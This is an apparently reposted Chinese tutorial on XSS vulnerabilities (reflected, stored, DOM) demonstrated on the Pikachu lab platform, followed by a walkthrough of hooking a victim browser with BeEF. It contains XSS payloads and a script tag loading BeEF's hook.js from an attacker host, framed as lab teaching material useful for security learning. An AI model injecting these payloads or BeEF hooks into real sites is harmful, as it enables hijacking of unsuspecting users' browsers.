XSS漏洞及其工具Beef使用

    XSS(Cross Site Scripting,跨站脚本漏洞)漏洞,又叫 CSS 漏洞,是最常见的 Web 应用程序漏洞。其主要原理是当动态页面中插入的内容含有特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML 标签,当这些HTML标签引入了一段 JavaScript 脚本时,这些脚本程序就将会在用户浏览器中执行,造成 XSS 攻击。

XSS 漏洞产生条件主要包含以下三个方面:

  • (1)可以控制的输入点。
  • (2)对输入数据没有进行有效的过滤和校验
  • (3)输入的数据能返回到前端页面并被浏览器当成脚本语言解释执行

漏洞分类

依据攻击代码的工作方式可以将 XSS 漏洞分为三种类型:

  • (1)反射型
  • (2)存储型
  • (3)DOM型

(1)反射型

    反射型XSS,又称非持久型 XSS,之所以称为反射型 XSS,是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等方式“反射”回来,而称为非持久型 XSS,则是因为这种攻击方式是一次性的。攻击者通过通信工具、电子邮件等方式,将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,服务器再将注入脚本“反射”到受害者的浏览器上,浏览器则会执行脚本。

基于pakachu平台演示一个反射型

输入'"<>666,发现没有被过滤掉

输入<script>alert(1)</script>,删掉maxlength的20个字符的限制

(2)存储型

    存储型XSS(Cross-Site Scripting)是一种常见的Web安全漏洞。攻击者往Web应用程序中注入恶意代码,这些代码被存储在服务器端。当其他用户浏览这些页面时,嵌入的恶意代码就会被执行。存储型XSS攻击通常发生在用户留言板、论坛、博客、收货地址、个人信息等需要用户输入且保存在数据库的地方,从而收到攻击。

查看过滤'"<>666

<script>alert(1)</script>

(3)DOM型

    DOM(Document Object Model)即文档对象模型,提供通过JavaScript对HTML操作的接口。DOM型漏洞是客户端JavaScript脚本处理逻辑存在的漏洞,会导致的安全问题。跟反射型和存储型不同,DOM型漏洞不经过后台交互。
下面基于pikachu平台,演示一个完整的DOM型XSS漏洞测试过程

查看源码

通过分析源码可知,JavaScript使用getElementById 函数获取标签Id为text的内容,然后赋值给str,再把st拼接其他内容后赋值给a标签的href属性,a标签被写到Id为dom的div标签中,因此,通过闭合的方式构造Payload为“#'οnclick= alert("xss")>”

   <div id="xssd_main"><script>function domxss(){var str = document.getElementById("text").value;document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}//试试:'><img src="#" onmouseover="alert('xss')">//试试:' onclick="alert('xss')">,闭合掉就行</script><!--<a href="" onclick=('xss')>--><input id="text" name="text" type="text"  value="" /><input id="button" type="button" value="click me!" onclick="domxss()" /><div id="dom"></div></div>

构造payload  #' οnclick= alert("xss")>点击

Beef

Beef(The Browser Exploitation Framework)是一款针对浏览器的渗透测试工具,一旦 Beef 钩住了浏览器,它将自动获取浏览器信息,同时可以进行社会工程学、网络攻击,也可以进行Tunneling 和 XSS Rays。Kali Linux 默认安装了 Beef。

下面基于 pikachu 平台中 XSS 漏洞模块和Kali Linux 演示一个 XSS 漏洞的综合利用案例。

访问beef

打开pakachu的xss(get)构造payload

<script src=http://192.168.235.128:3000/hook.js></script>

我们发现客户机已经在beef攻击平台上上线了。

选中上线主机我们就可以进行攻击了

在Command窗口,存放着一些可以执行的命令,不同颜色命令表示靶机浏览器的反应程度:

  • 绿色模块:表示模块适用当前用户,并且执行结果对用户不可见;
  • 灰色模块:模块为在目标浏览器上测试过;
  • 橙色模块:模块可用,但结果对用户可见;
  • 红色模块:表示模块不适用当前用户,有些红色模块也可以执行,会有较大反应。

详情可以在beef官网查看使用情况:

BeEF - The Browser Exploitation Framework Project

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/763012.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电脑文件msvcp100.dll丢失原因,如何快速修复msvcp100.dll

电脑文件msvcp100.dll丢失原因&#xff0c;最近有朋友在问这个&#xff0c;显然会问这个的人&#xff0c;一般都是遇到了msvcp100.dll丢失的问题了&#xff0c;今天我们就来详细的给大家说说msvcp100.dll这个文件吧&#xff0c;我们只有了解了msvcp100.dll这个文件&#xff0c;…

【C++ CSES】Gray Code

题目描述 A Gray code is a list of all 2^n bit strings of length n, where any two successive strings differ in exactly one bit (i.e., their Hamming distance is one). Your task is to create a Gray code for a given length n. 输入 The only input line has an…

链表详解-leetcode203.移除链表元素

链表 移除链表元素 题目&#xff1a; 题意&#xff1a;删除链表中等于给定值 val 的所有节点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,6,3,4,5,6], val 6 输出&#xff1a;[1,2,3,4,5] 示例 2&#xff1a; 输入&#xff1a;head [], val 1 输出&#xff1a;[…

十九、软考-系统架构设计师笔记-真题解析-2021年真题

软考-系统架构设计师-2021年上午选择题真题 考试时间 8:30 ~ 11:00 150分钟 1.前趋图(Precedence Graph)是一个有向无环图&#xff0c;记为&#xff1a;→(Pi,Pj)Pi must Complete Before Pj may strat), 假设系统中进程P{P1, P2,P3,P4, P5, P6, P7, P8}&#xff0c; 且进程的…

AI交互数字人应用在教育领域有何作用?

AI数字人在教育领域中&#xff0c;除了可以承担个性化教学辅导、沉浸式数字课堂、虚拟仿真实训室中&#xff0c;还可以作为AI交互数字人提供情感陪伴和心理辅导。与真人心理老师相比&#xff0c;AI交互数字人更具高度隐私保密性&#xff0c;可以为学生提供精确及个性化的咨询服…

【视频教程】苹果推送证书生成及如何对接环信推送

1、如何生成p8证书并上传到环信后台 苹果推送p8证书生成教程 2、如何生成苹果推送p12证书并上传到环信后台 苹果证书p12证书生成 3、如何在项目中对接环信推送&#xff08;iOS&#xff09; 如何在项目中对接环信推送&#xff08;iOS&#xff09; 更多教程&#xff1a; 注册环信…

LlamaParse:RAG中高效解析复杂PDF的最佳选择

一、前言 在过去的一年中&#xff0c;RAG&#xff08;Retrieval-Augmented Generation&#xff09;模型在信息检索和自然语言处理领域取得了显著的进展&#xff0c;但同时也面临着一系列挑战。尤其是在处理复杂PDF文档时&#xff0c;RAG模型的局限性变得尤为明显。这些文档通常…

SpringBoot ---HTML转PDF工具

之前项目用的WKHtmlToPdf&#xff0c;速度较慢&#xff0c;现在需要改成基于ITEXT java使用itext7实现html转pdf_java使用itext7实现html转pdf全代码完整示例 cainiaobulan-CSDN博客文章浏览阅读2.7k次。使用itext7html转pdf_java使用itext7实现html转pdf全代码完整示例 caini…

SpringBoot自定义starter开发:定时任务报表开发

&#x1f648;作者简介&#xff1a;练习时长两年半的Java up主 &#x1f649;个人主页&#xff1a;程序员老茶 &#x1f64a; ps:点赞&#x1f44d;是免费的&#xff0c;却可以让写博客的作者开心好久好久&#x1f60e; &#x1f4da;系列专栏&#xff1a;Java全栈&#xff0c;…

C语言学习笔记day12

1. 函数的定义 函数类型 函数名(数据类型1 形式参数1, 数据类型2 形式参数2, ...) { 函数体; return 返回值; } 函数类型: 函数运行结果的类型 函数名: 1.可以由字母、数字、下划线组成,不能以数字开头…

两个实体字段不一致,但是字段的值相同 使用注解和反射进行转换 可以避免get和set方法

一个公司两个系统&#xff0c;创建的实体含义一样&#xff0c;但是字段不一致&#xff0c;用get和set方法转换太恶心&#xff0c;而且容易空指针&#xff0c;所以使用注解和反射来写&#xff0c;特地记录一下&#xff0c;有要用的同学可以拿去用哈。 上代码&#xff1a; packa…

muduo异步日志

muduo异步日志实现 陈硕老师的muduo网络库的异步日志的实现&#xff0c;今晚有点晚了&#xff0c;我明晚再把这个异步日志抽出来&#xff0c;作为一个独立的日志库。 所在文件 AsyncLogging.cc AsyncLogging.h LogFile.h LogFile.cc CountDownLatch.h CountDownLatch.cc…

美团2023年财报:全年营收2767亿元,即时配送订单219亿笔

3月22日&#xff0c;美团(股票代码:3690.HK)发布2023年第四季度及全年业绩。公司各项业务继续取得稳健增长&#xff0c;全年营收2767亿元(人民币&#xff0c;下同)&#xff0c;同比增长26%&#xff0c;经营利润134亿元。 本年度&#xff0c;美团继续围绕“零售科技”战略&…

openlayers 入门教程(四):layers 篇

还是大剑师兰特&#xff1a;曾是美国某知名大学计算机专业研究生&#xff0c;现为航空航海领域高级前端工程师&#xff1b;CSDN知名博主&#xff0c;GIS领域优质创作者&#xff0c;深耕openlayers、leaflet、mapbox、cesium&#xff0c;canvas&#xff0c;webgl&#xff0c;ech…

广告增量实时索引构建实践

本期作者 1.前言 在广告检索系统中&#xff0c;增量索引&#xff08;实时索引&#xff09;是一类常见的技术&#xff0c;用于使广告信息的变更及时生效。其中一种主要的思路即由检索系统消费广告更新数据流&#xff0c;实时更新内存索引&#xff0c;对此行业中已有很多优秀方案…

OpenHarmony开发之图形UI组件解析

简介 图形UI组件实现了一套系统级的图形引擎。 该组件为应用开发提供UIKit接口&#xff0c;包括了动画、布局、图形转换、事件处理&#xff0c;以及丰富的UI组件。 组件内部直接调用HAL接口&#xff0c;或者使用WMS(Window Manager Service)提供的客户端与硬件交互&#xff…

数据结构之排序一

目录 1.排序 一.概念及其分类 二.排序的稳定性 2.插入排序 一.基本思想 二.插入排序的实现 复杂度 稳定性的分析 3.希尔排序 一.预排序代码的实现 二.希尔排序代码实现 复杂度分析 4.clock函数 1.排序 一.概念及其分类 说到排序&#xff0c;我们都不陌生&#x…

设计数据库之概念模式:E-R模型

Chapter3&#xff1a;设计数据库之概念模式&#xff1a;E-R模型 笔记来源&#xff1a;《漫画数据库》—科学出版社 设计数据库的步骤&#xff1a; 概念模式 概念模式(conceptual schema)是指将现实世界模型化的阶段进而&#xff0c;是确定数据库理论结构的阶段。 概念模式的设…

Ubuntu 安装 Carla仿真环境

1、系统要求 Ubuntu 16.04/18.04/20.04 CARLA 为 16.04 之前的 Ubuntu 版本提供支持。然而&#xff0c;Unreal Engine需要合适的编译器才能正常工作。 CARLA 服务器至少需要 6 GB GPU&#xff0c;但建议使用 8 GB。 2、安装NIVDIA驱动 BISO设置 开机F12&#xff0c;进入BIOS…

0x01_实验课leetcode

题目总结 lc1979 给你一个整数数组 nums &#xff0c;返回数组中最大数和最小数的 最大公约数 。 两个数的 最大公约数 是能够被两个数整除的最大正整数。 会求 gcd 就行 class Solution { public:int gcd(int a, int b){return b ? gcd(b, a % b) : a;}int findGCD(vector&…